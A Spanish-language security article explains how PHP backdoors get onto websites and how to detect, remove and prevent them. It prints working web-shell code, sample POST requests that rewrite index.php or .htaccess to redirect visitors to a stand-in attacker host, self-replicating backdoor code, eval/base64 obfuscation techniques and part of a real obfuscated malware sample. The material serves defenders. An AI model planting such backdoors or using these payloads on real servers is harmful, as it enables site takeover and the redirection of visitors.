Cómo Eliminar un Backdoor: Casos Reales y Medidas de Respuesta

Hemos recibido una serie de consultas con problemas como estos:

• “El código fuente de un sitio web ha sido alterado, dejándolo inaccesible”.
• “Se muestra una página completamente diferente”.
• “Incluso después de corregir el código, este es modificado nuevamente de inmediato”.

Este es un patrón típico en el que se explota una vulnerabilidad del sitio web para instalar un “backdoor”. Saber cómo identificar un backdoor y actuar a tiempo es fundamental.

Antes de entrar en los casos y la recuperación, es importante entender que los backdoors no solo se eliminan: se previenen. Tener un plan de defensa proactiva que incluya actualizaciones constantes de CMS y plugins, monitorización de integridad de archivos, políticas de control de acceso estrictas y revisión de logs periódica reduce drásticamente el riesgo de instalación de puertas traseras.

Acción rápida: Para solucionar un backdoor, es crucial seguir un proceso metodológico. Aquí presentamos los pasos clave para la respuesta a incidentes:

1. Aislar el Sistema Comprometido: Desconecta el servidor de la red para evitar que el atacante cause más daño, exfiltre datos o utilice el sistema para atacar a otros.
2. Identificar y Analizar Archivos Maliciosos: Utiliza un enfoque combinado de comparación con copias de seguridad limpias (DIFF), revisión de marcas de tiempo de archivos recientes y el uso de escáneres de malware especializados.
3. Eliminar el Backdoor y Corregir la Vulnerabilidad: Una vez identificados, elimina todos los archivos del backdoor malware. Simultáneamente, parchea la vulnerabilidad original (ej. un plugin obsoleto) que permitió el acceso inicial.
4. Restaurar y Fortalecer: La forma más segura de proceder es restaurar el sitio desde una copia de seguridad limpia y verificada.

Hemos redactado este artículo con el objetivo de que puedas profundizar en tu comprensión sobre los backdoors.

¿Qué es un Backdoor en Informática y Cómo Funciona?

Aunque muchos conocen el término, un “backdoor en informática” (o “puerta trasera” en español) puede ser conceptualizado, a grandes rasgos, como un archivo con la siguiente estructura.

(Los detalles se explicarán más adelante, pero esto es solo para ilustrar el concepto).

// backdoor.php
<?php
$path = __DIR__ . '/' . $_POST['path'];
$content = $_POST['content'];
file_put_contents($path, $content);

¿Qué sucedería si este archivo se colocara en el directorio público de tu servidor?

El atacante enviaría una solicitud dirigida a este archivo, como por ejemplo:

POST https://tusitio.ejemplo.com/path/to/backdoor.php
path : ../../index.php
content : <?php header('Location: http://evil.ejemplo.com'); ?>

O también:

POST https://tusitio.ejemplo.com/path/to/backdoor.php
path : ../../.htaccess
content : RewriteEngine On
   RewriteRule .* http://evil.ejemplo.com [R=301]

Con solo esto, el archivo index.php o .htaccess puede ser modificado o creado, redirigiendo a los visitantes de tu sitio o a los usuarios de tu aplicación al sitio del atacante.

Esto equivale a tener la capacidad de editar archivos libremente, lo que permite al atacante ejecutar cualquier acción: desde reescribir completamente el contenido de una página, leer y enviar la $_SESSION del usuario a un servidor externo, transmitir los datos de un formulario, hasta operar el servidor mediante exec().

En muchos casos, este tipo de backdoors son web shells, interfaces completas que permiten ejecutar comandos remotos y gestionar archivos directamente desde HTTP, ofreciendo persistencia y control total del servidor.

La Proliferación de Backdoors

Ahora, ¿qué ocurriría si se enviaran los siguientes datos?

POST https://tusitio.ejemplo.com/path/to/backdoor.php
path : ../../second_door.php
content : <?php
    $path = __DIR__ . '/' . $_POST['path'];
    $content = $_POST['content'];
    file_put_contents($path, $content);
    ?>

Un backdoor se utilizaría para crear otro backdoor.

Esta es una táctica habitual en los ataques. Mientras se lleva a cabo la modificación principal, se instalan simultáneamente múltiples backdoors en diferentes ubicaciones.

Incluso si el administrador descubre y elimina un backdoor, mientras uno solo permanezca, el sitio puede ser atacado de nuevo con facilidad, y se instalarán más backdoors.

Ejemplos de Backdoor Ofuscados y Técnicas de Evasión

El código presentado inicialmente es el siguiente, pero en realidad, un código como este es poco común.

// backdoor.php
<?php
$path = __DIR__ . '/' . $_POST['path'];
$content = $_POST['content'];
file_put_contents($path, $content);

La razón es que dejaría un registro de una solicitud sospechosa del atacante en los logs de acceso.

En la práctica, es más común que las rutas de destino y el contenido de la modificación estén codificados directamente (hardcoded), o que se obtengan dinámicamente de URLs externas controladas por el atacante para actualizar el payload sin tocar el disco nuevamente.

// backdoor2.php (ejemplo simplificado)
<?php
$paths = ["./index.php", "../index.php", "../../index.php", "../../../index.php"];
foreach ($paths as $path) {
    file_put_contents($path, "<?php /* Código malicioso */ ?>");
}

De esta manera, el ataque puede ejecutarse con una sola solicitud GET, y si este código se incrusta en un archivo al que los usuarios acceden, la modificación de archivos se repetirá sin intervención directa del atacante.

Además, existen patrones que utilizan funciones como glob() para instalar archivos de forma recursiva en todos los directorios.

Sin embargo, un archivo con este código sería identificado como sospechoso a simple vista.

Por ello, los atacantes emplean diversas técnicas de ofuscación. Para un análisis técnico detallado sobre estas técnicas, recomendamos consultar las técnicas de ofuscación de código.

// backdoor3.php
<?php
eval('$paths = ["./index.php", "../index.php", "../../index.php", "../../../index.php"]; foreach ($paths as $path) { file_put_contents($path, "<?php /* Código malicioso */ ?>"); }');

La función eval() evalúa (ejecuta) la cadena de texto de su argumento como si fuera código PHP. Por lo tanto, su comportamiento es idéntico al del código anterior.

Si además codificamos el contenido de este argumento en BASE64:

// backdoor4.php
<?php
eval(base64_decode('JHBhdGhzID0gWyIuL2luZGV4LnBocCIsICIuLi9pbmRleC5waHAiLCAiLi4vLi4vaW5kZXgucGhwIiwgIi4uLy4uLy4uL2luZGV4LnBocCJdOyBmb3JlYWNoICgkcGF0aHMgYXMgJHBhdGgpIHsgZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICc8P3BocCAvKiDmlLvmlYPnlKjjgrPjg7zjgoogKi8gPz4nKTsgfQ=='));

A simple vista, ya no es posible determinar qué hace el código.

De hecho, eval() y base64_decode() son funciones que aparecen con frecuencia en backdoors y archivos maliciosos.

Uno podría pensar que es posible detectarlos buscando (grep) estos nombres de función, pero no es tan simple, tal como demuestran varios estudios de caso sobre webshells PHP.

Se puede hacer esto:

// backdoor5.php
<?php
$x = 'eval';
$y = 'base64_decode';

$x($y('...'));

O incluso esto:

// backdoor6.php
<?php
$w = '0123456789abcdefghijklmnopqrstuvwxyz_';
$x = $w[14].$w[31].$w[10].$w[21]; // eval
$y = $w[11].$w[10].$w[28].$w[14].$w[6].$w[4].$w[36].$w[13].$w[14].$w[12].$w[24].$w[13].$w[14]; // base64_decode

$x($y('...'));

Listo, los nombres de las funciones han sido completamente eliminados del código.

Es común que este código completo sea a su vez codificado en BASE64, aplicando así dos o tres capas de ofuscación.

Análisis de un Backdoor Malware Real (locale.php)

A continuación, se presenta una muestra obtenida recientemente. Estaba alojada bajo un nombre de archivo plausible, como locale.php.

// locale.php
<?php $tJvyYsXGpmgwi='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$tJvyYsXGpmgwi[(105/15)].$tJvyYsXGpmgwi[(26-1)].$tJvyYsXGpmgwi[(1*49)].$tJvyYsXGpmgwi[((10*1)+18)].$tJvyYsXGpmgwi[(14+22)].$tJvyYsXGpmgwi[(44+5)].$tJvyYsXGpmgwi[(44-13)].$tJvyYsXGpmgwi[(684/18)].$tJvyYsXGpmgwi[(23+4)].$tJvyYsXGpmgwi[(72-(33-7))].$tJvyYsXGpmgwi[(154/22)].$tJvyYsXGpmgwi[(11+25)].$tJvyYsXGpmgwi[(65-(62-31))].$tJvyYsXGpmgwi[(26-6)].$tJvyYsXGpmgwi[((27*2)-8)];$pHFdNhg9688=$tJvyYsXGpmgwi[(20-9)].$tJvyYsXGpmgwi[(2*4)].$tJvyYsXGpmgwi[(29*1)].$tJvyYsXGpmgwi[(160/4)];$MYtraky2482=$tJvyYsXGpmgwi[(8*5)].$tJvyYsXGpmgwi[((1+0)+2)].$tJvyYsXGpmgwi[(6+(1*(95/19)))].$tJvyYsXGpmgwi[(140/5)].$tJvyYsXGpmgwi[(522/18)].$tJvyYsXGpmgwi[(7*((7-3)-2))].$tJvyYsXGpmgwi[(2*14)].$tJvyYsXGpmgwi[(138/(2+4))].$tJvyYsXGpmgwi[(1029/(378/18))].$tJvyYsXGpmgwi[((2*189)/9)].$tJvyYsXGpmgwi[(12+(0+0))].$tJvyYsXGpmgwi[(31*1)].$tJvyYsXGpmgwi[(48/(36/12))].$tJvyYsXGpmgwi[(735/15)].$tJvyYsXGpmgwi[(0+7)].$tJvyYsXGpmgwi[(18+2)].$tJvyYsXGpmgwi[(18-(10/5))].$tJvyYsXGpmgwi[(735/15)].$tJvyYsXGpmgwi[(0+(2-(1*1)))].$tJvyYsXGpmgwi[(16-(3+(36/(0+18))))].$tJvyYsXGpmgwi[((167-23)/18)].$tJvyYsXGpmgwi[(0+(18-9))].$tJvyYsXGpmgwi[(1*3)].$tJvyYsXGpmgwi[(11*(1+(0/(78/13))))].$tJvyYsXGpmgwi[(2*7)].$tJvyYsXGpmgwi[(29*(0+1))].$tJvyYsXGpmgwi[(38-(8+9))].$tJvyYsXGpmgwi[(15*2)].$tJvyYsXGpmgwi[(45-11)].$tJvyYsXGpmgwi[(1*46)].$tJvyYsXGpmgwi[(1*(17+21))].$tJvyYsXGpmgwi[(78/3)].$tJvyYsXGpmgwi[(21+(77/11))].$tJvyYsXGpmgwi[(22+14)].$tJvyYsXGpmgwi[(343/(91/13))].$tJvyYsXGpmgwi[(1*1)].$tJvyYsXGpmgwi[(21-10)].$tJvyYsXGpmgwi[(22+(12/2))].$tJvyYsXGpmgwi[(180/20)].$tJvyYsXGpmgwi[(3+((0+0)*1))].$tJvyYsXGpmgwi[(686/(126/9))].$tJvyYsXGpmgwi[(61-(32-8))].$tJvyYsXGpmgwi[(476/17)].$tJvyYsXGpmgwi[((4-0)+22)].$tJvyYsXGpmgwi[(((23-(2*5))/13)-0)].$tJvyYsXGpmgwi[(7+(84/21))].$tJvyYsXGpmgwi[(28/2)].$tJvyYsXGpmgwi[(9-0)].$tJvyYsXGpmgwi[(3*1)];$UrR1094= "'7Rxr... (código ofuscado omitido por brevedad) .../xc='";$JTx2343=$pHFdNhg9688;$JTx2343.=$UrR1094;$JTx2343.=$MYtraky2482;@$mEriqO3481=$q2866((''), ($JTx2343));@$mEriqO3481(); ?>

Como se mencionó, el código está ofuscado utilizando índices de una cadena de caracteres. Tras una primera capa de desofuscación, el código se vería así:

<?php
$x="'7RxrU9t... (cadena larga en base64 omitida) ...xc='";
$a=base64_decode($x);
$b=gzinflate($a);
eval($b);

Para ver el código completo de este backdoor (solo lectura, análisis estático):
GitHub Gist – Malware sample: PHP sitemap spam backdoor (con fuerte advertencia)
IMPORTANTE: NO lo copies, ejecutes ni subas a ningún servidor. Úsalo únicamente para estudio en entorno controlado. El Gist incluye disclaimer explícito prohibiendo uso indebido.

El código real que se ejecuta en el eval() final es una pieza de software malicioso compleja. En dicho código se puede observar que, a partir de la línea 281, la función file_put_contents() está modificando archivos de forma agresiva. El análisis de un troyano similar muestra tácticas parecidas: análisis de malware troyano.

El contenido de la modificación parece ser obtenido de una fuente externa, ya que se listan varias URLs. Al cambiar el contenido de estas URLs, el atacante puede modificar simultáneamente el método de ataque en todos los sitios comprometidos.

Flujo de un Ataque con Backdoor

Para empezar, el proceso de instalación de un backdoor suele comenzar con la explotación de una vulnerabilidad, por ejemplo, en un plugin de WordPress. Para más información, puedes consultar las principales vulnerabilidades web.

Por la naturaleza de la explotación, suelen ser plugins con funciones de subida de archivos (como formularios de contacto) o plugins que generan archivos de caché o logs.

En el pasado, se han observado oleadas de ataques que explotan vulnerabilidades específicas, como las que afectaron a MovableType (MT) a finales de 2021 instalando webshells PHP tras la explotación de CVE-2021-20837, o la masiva y prolongada explotación de CVE-2024-4577 en PHP-CGI (Windows) durante 2025 que instaló webshells y backdoors similares. Es crucial entender que los vectores de ataque cambian constantemente.

Una vez que se instala el backdoor inicial, se suceden ataques secundarios y terciarios que explotan tanto la vulnerabilidad original como los backdoors ya instalados.

En resumen, una vez que un sitio ha sido comprometido, los ataques no cesarán hasta que se identifique y solucione la vulnerabilidad original y, además, se encuentren y eliminen todos los backdoors que se hayan infiltrado en el sistema.

Pasos para Solucionar un Backdoor en tu Sistema

¿No estás seguro de cómo saber si tienes un backdoor? Especialmente en sistemas con una estructura de directorios estandarizada como WordPress, los backdoors se instalan en ubicaciones difíciles de detectar, como dentro de los archivos del núcleo (wp-admin/ o wp-includes/), en archivos de plugins, en carpetas profundas dentro del directorio uploads, en el directorio mu-plugins (must-use plugins, que se cargan automáticamente y no aparecen en el panel), o mediante inyección en archivos .htaccess, .user.ini o modificaciones en temas/plugins que permiten persistencia remota.

Esto hace que su detección visual sea extremadamente difícil. Algunas campañas han utilizado específicamente el directorio mu-plugins para lograr persistencia, como detalla un análisis de Sucuri y confirma The Hacker News.

Como se ha mencionado, encontrarlos mediante grep simple (buscando cadenas como eval o base64_decode) es prácticamente imposible debido a las capas avanzadas de ofuscación que siguen evolucionando.

Por eso, en la mayoría de casos reales combinamos revisión manual con escáneres dedicados como Wordfence, Sucuri o MalCare, que detectan patrones ofuscados y cambios de integridad mucho mejor que grep o find solos.

1. Identificar Archivos Maliciosos con Control de Versiones

Si utilizas un sistema de control de versiones como GIT o dispones de una copia de seguridad fiable previa al ataque, puedes identificar algunos archivos maliciosos comparando las diferencias (DIFF).

Sin embargo, este método es insuficiente, ya que los directorios excluidos del control de versiones, como uploads, o aquellos donde los archivos se añaden de forma natural, son precisamente los objetivos preferidos.

2. Cómo Detectar un Backdoor por Marca de Tiempo (Timestamp)

Si ha transcurrido poco tiempo desde el ataque inicial, es posible identificar los archivos modificados recientemente con un comando como el siguiente:

find . -type f -mmin -14400

El ejemplo anterior lista los archivos que han sido modificados en los últimos 10 días (14400 minutos), mostrando tamaño, fecha y permisos para facilitar el análisis de actividad sospechosa.

Sin embargo, la marca de tiempo (mtime) puede ser manipulada por el atacante, por lo que este método no garantiza detección completa. Se recomienda combinarlo con control de versiones, revisión de logs de acceso/error, chequeo de usuarios/administradores no autorizados en la base de datos y herramientas de escaneo de integridad de archivos para mayor precisión.

Estos backdoors a menudo crean administradores ocultos, como se documenta en otras investigaciones sobre persistencia.

(Adicionalmente, es común que los sitios vulnerables a este tipo de ataques estén alojados en servidores de hosting compartido que no permiten el acceso SSH).

3. Restauración y Migración como Medida Final

Si el ataque persiste después de eliminar el virus backdoor identificado mediante los pasos 1 y 2, quedan dos opciones.

Una es eliminar todos los archivos del servidor y restaurar una copia de seguridad anterior al ataque. Si el sitio se actualizaba diariamente, se perderán esos cambios, pero es un paso necesario.

La otra es abandonar el servidor actual y migrar a uno nuevo. En este caso, es crucial no migrar los backdoors junto with el sitio.

Por ejemplo, para un sitio en WordPress, se debe realizar una instalación limpia del núcleo y los plugins. Posteriormente, solo los archivos del tema y los archivos subidos (uploads) deben ser copiados al nuevo servidor, y únicamente después de haber sido inspeccionados visualmente uno por uno.

En ambos casos, es un requisito indispensable haber identificado y corregido la vulnerabilidad original.

Cómo Evitar un Backdoor: Medidas de Prevención Clave

Si el tiempo de recuperación tras una modificación maliciosa se prolonga, puede resultar en un daño significativo para el negocio, afectando a los visitantes del sitio y provocando que sea eliminado de los resultados de búsqueda de Google.

Aprender cómo evitar un backdoor es tan importante como saber eliminarlo.

• Mantente siempre informado sobre las nuevas vulnerabilidades.
• Actualiza periódicamente tu CMS y el middleware.
• Elimina del servidor los archivos innecesarios, como código fuente de versiones anteriores.
• Implementa un sistema adecuado de copias de seguridad automáticas y control de versiones para estar preparado ante cualquier eventualidad. La regla 3-2-1 de las copias de seguridad es un excelente punto de partida.

Incluso si gestionas lo que consideras una simple página web, es fundamental ser consciente de que cualquier aplicación web expuesta a Internet puede ser objetivo de ataques, por lo que la prevención, monitoreo y actualización constante son imprescindibles.